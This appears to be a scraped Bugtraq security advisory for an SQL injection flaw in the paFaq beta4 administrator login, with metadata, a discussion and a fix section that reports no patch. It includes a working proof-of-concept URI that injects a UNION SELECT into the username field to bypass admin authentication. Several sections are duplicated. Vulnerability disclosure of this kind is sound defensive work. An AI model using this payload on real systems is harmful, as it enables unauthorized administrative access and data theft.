PAFaq Administrator Username SQL Injection Vulnerability
BID:14003
Info
PAFaq Administrator Username SQL Injection Vulnerability
| Bugtraq ID: | 14003 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 20 2005 12:00AM |
| Updated: | Jun 20 2005 12:00AM |
| Credit: | James Bercegay of the GulfTech Security Research Team is credited with the discovery of this vulnerability. |
| Vulnerable: |
PHP Arena paFaq beta4 |
| Not Vulnerable: | |
Discussion
PAFaq Administrator Username SQL Injection Vulnerability
paFaq is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
paFaq is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Exploit / POC
PAFaq Administrator Username SQL Injection Vulnerability
No exploit is required.
The following proof of concept URI is available:
http://www.example.com/pafaq/admin/index.php?act=login&username='%20UNION%20SELECT%20id,name,'3858f62230ac3c915f300c664312c63f',email,notify,permissions,session%20FROM%20pafaq_admins%20WHERE%201/*&password=foobar
No exploit is required.
The following proof of concept URI is available:
http://www.example.com/pafaq/admin/index.php?act=login&username='%20UNION%20SELECT%20id,name,'3858f62230ac3c915f300c664312c63f',email,notify,permissions,session%20FROM%20pafaq_admins%20WHERE%201/*&password=foobar
Solution / Fix
PAFaq Administrator Username SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PAFaq Administrator Username SQL Injection Vulnerability
References:
References:
- paFaq Homepage (PHP Arena)
- paFaq Multiple Vulnerabilities (GulfTech Security Research